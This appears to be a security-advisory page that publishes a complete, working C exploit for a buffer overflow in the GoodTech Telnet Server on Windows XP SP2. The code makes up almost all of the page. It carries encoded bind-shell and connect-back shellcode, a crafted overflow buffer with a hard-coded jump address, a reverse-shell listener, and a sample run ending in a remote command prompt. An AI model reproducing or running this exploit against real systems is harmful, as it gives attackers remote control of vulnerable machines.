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GoodTech Telnet Server Buffer Overflow Vulnerability (Exploit)
------------------------------------------------------------------------
SUMMARY
Presented here is an exploit code for the
<http://www.securiteam.com/windowsntfocus/5FP0B1PF5Q.html> GoodTech Telnet
Server Buffer Overflow Vulnerability.
DETAILS
/*
*
* cybertronic[at]gmx[dot]net
*
*
* [ cybertronic @ GoodTech ] $ gcc -o goodtech goodtech.c
* [ cybertronic @ GoodTech ] $ ./goodtech
*
* Usage
* -----
* [ Bindshell ] ./goodtech <host>
* [ Reverseshell ] ./goodtech <host> <connectback ip> <connectback port>
*
* [ cybertronic @ GoodTech ] $ ./goodtech 192.168.2.102 192.168.2.101
1337
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ connecting to 192.168.2.102:2380...done!
* --[ jmp esp -> 0x7c951eed [ntdll.dll WinXP SP]2
* --[ sending packet [ 10045 bytes ]...done!
* --[ starting reverse handler [port: 1337]...done!
* --[ incomming connection from: 192.168.2.102
* --[ b0x pwned - h4ve phun
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* C:\GoodTech>
*
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/*
* definitions
*/
#define PORT 2380
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
/*
* prototypes
*/
int exploit ( int s, unsigned long ip, unsigned short cbport, int option
);
int shell ( int s, char* tip, unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );
void start_reverse_handler ( char* argv3 );
/*********************
* Windows Shellcode *
*********************/
/*
* Type : bind shellcode
* Length: 500 bytes
* Port : 4444 / 0x115c
*
*/
char bindshell[] =
"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff\xff\xff\x81\x36\x80\xbf\x32"
"\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff"
"\x03\x53\x06\x1f\x74\x57\x75\x95\x80\xbf\xbb\x92\x7f\x89\x5a\x1a"
"\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09\xf9\x3a\x6b\xb6\xd7\x9f\x4d"
"\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6\xb3\x5a\xf8\xec\xbf\x32\xfc"
"\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf\xeb\xcd\xc2\x88\x36\x74\x90"
"\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad\xbe\x32\x94\x09\xf9\x22\x6b"
"\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81\xbf\x32\x1d\xc6\xab\xcd\xe2"
"\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81\xbf\x32\x1d\xc6\xa7\xcd\xe2"
"\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80\xbf\x32\x1d\xc6\xa3\xcd\xe2"
"\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80\xbf\x32\x1d\xc6\x9f\xcd\xe2"
"\x84\xd7\x96\x39\xae\x56\xda\x4a\x80\xbf\x32\x1d\xc6\x9b\xcd\xe2"
"\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80\xbf\x32\x1d\xc6\x97\xcd\xe2"
"\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80\xbf\x32\x1d\xc6\x93\x01\x6b"
"\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81\xbe\x32\x94\x7f\xe9\x2a\xc4"
"\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6\xa3\xb9\x4c\xd7\xe8\x5a\x96"
"\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3\x40\x64\xb4\xd7\xec\xcd\xc2"
"\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50\xd7\x57\xec\xe5\xbf\x5a\xf7"
"\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4\x32\x0e\xb0\xb3\x7f\x01\x5d"
"\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4\xaf\x76\x6a\xc4\x9b\x0f\x1d"
"\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4\x9b\x62\x19\xc4\x9b\x22\xc0"
"\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f\xc9\x02\xc5\x7f\xe9\x22\x1f"
"\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b\x77\x65\x6b\xd6\x93\xcd\xc2"
"\x94\xea\x64\xf0\x21\x8f\x32\x94\x80\x3a\xf2\xec\x8c\x34\x72\x98"
"\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89\x34\x72\xa0\x0b\x17\x8a\x94"
"\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80\xec\x67\xc2\xd7\x34\x5e\xb0"
"\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83\x6a\xb9\xde\x98\x34\x68\xb4"
"\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83\x4a\x01\x6b\x7c\x8c\xf2\x38"
"\xba\x7b\x46\x93\x41\x70\x3f\x97\x78\x54\xc0\xaf\xfc\x9b\x26\xe1"
"\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c\xf4\xb9\xce\x9c\xbc\xef\x1f"
"\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b\x6a\x6d\xca\xdd\xe4\xf0\x90"
"\x80\x2f\xa2\x04";
/*
* Type : connect back shellcode
* Length: 316 bytes
* CBIP : reverseshell[111] ( ^ 0x99999999 )
* CBPort: reverseshell[118] ( ^ 0x9999 )
*
*/
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";
/*
* functions
*/
int
exploit ( int s, unsigned long xoredip, unsigned short
xoredcbport, int option )
{
char buffer[10046];
printf ( "--[ jmp esp -> 0x7c951eed [ntdll.dll WinXP SP]2\n" );
if ( option == 0 )
{
memcpy ( &reverseshell[111], &xoredip, 4);
memcpy ( &reverseshell[118], &xoredcbport, 2);
bzero ( &buffer, sizeof ( buffer ) );
memset ( buffer, 0x41, 10032 );
memcpy ( buffer + 46, "\x81\xc4\x54\xf2\xff\xff", 6 );
memcpy ( buffer + 52, reverseshell, sizeof ( reverseshell ) - 1 );
strcat ( buffer, "\xed\x1e\x95\x7c" ); // jmp esp ntdll.dll win xp
sp2
strncat ( buffer, "\xe9\xf0\xd8\xff\xff", 5 ); // jmp -10000
strcat ( buffer, "\r\n\r\n");
}
else
{
bzero ( &buffer, sizeof ( buffer ) );
memset ( buffer, 0x41, 10032 );
memcpy ( buffer + 46, "\x81\xc4\x54\xf2\xff\xff", 6 );
memcpy ( buffer + 52, bindshell, sizeof ( bindshell ) - 1 );
strcat ( buffer, "\xed\x1e\x95\x7c" ); // jmp esp ntdll.dll win xp
sp2
strncat ( buffer, "\xe9\xf0\xd8\xff\xff", 5 ); // jmp -10000
strcat ( buffer, "\r\n\r\n");
}
printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( RED "failed!\n" NORMAL);
return ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
sleep ( 1 );
close ( s );
return ( 0 );
}
int
shell ( int s, char* tip, unsigned short cbport )
{
int n;
char buffer[2048];
fd_set fd_read;
printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW
"w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4"
NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL
"\n" );
FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}
void
connect_to_bindshell ( char* tip, unsigned short
bport )
{
int s;
int sec = 5; // change this for fast targets
struct sockaddr_in remote_addr;
struct hostent *host_addr;
if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( bport );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ("--[ sleeping %d seconds before connecting to %s:%u...\n",
sec, tip, bport );
wait ( sec );
printf ( "--[ connecting to %s:%u...", tip, bport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
shell ( s, tip, bport );
}
void
header ()
{
printf ( " __ __ _
\n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____
\n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ /
___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
\n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/
/_/_/\\___/ \n" );
printf ( " /____/
\n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n"
);
}
void
start_reverse_handler ( char* argv3 )
{
int s1, s2;
unsigned short cbport;
struct sockaddr_in cliaddr, servaddr;
socklen_t clilen = sizeof ( cliaddr );
sscanf ( argv3, "%u", &cbport );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( cbport );
printf ( "--[ starting reverse handler [port: %u]...", cbport );
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( s1, 1 ) == -1 )
{
printf ( "listen failed!\n" );
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) <
0 )
{
printf ( "accept failed!\n" );
exit ( 1 );
}
close ( s1 );
printf ( "--[ incomming connection from:\t" YELLOW " %s\n" NORMAL,
inet_ntoa ( cliaddr.sin_addr ) );
shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
close ( s2 );
}
void
wait ( int sec )
{
sleep ( sec );
}
int
main ( int argc, char* argv[] )
{
int s;
unsigned long xoredip;
unsigned short xoredcbport;
struct sockaddr_in remote_addr;
struct hostent *host_addr;
if ( argc != 2 )
if ( argc != 4 )
{
fprintf ( stderr, "\nUsage\n-----\n[ Bindshell ] %s
<host>\n[ Reverseshell ] %s <host> <connectback ip> <connectback
port>\n\n", argv[0], argv[0] );
exit ( 1 );
}
if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( PORT );
system ( "clear" );
header ();
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ connecting to %s:%u...", argv[1], PORT );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( "failed!\n" );
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
if ( argc == 4 )
{
xoredip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999;
xoredcbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short )
0x9999;
if ( exploit ( s, xoredip, xoredcbport, 0 ) == 1 )
{
printf ( "exploitation FAILED!\n" );
exit ( 1 );
}
start_reverse_handler ( argv[3] );
}
else
{
if ( exploit ( s, ( unsigned long ) NULL, ( unsigned short ) NULL,
1 ) == 1 )
{
printf ( "exploitation FAILED!\n" );
exit ( 1 );
}
connect_to_bindshell ( argv[1], 4444 );
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:cybertronic@gmx.net>
cybertronic.
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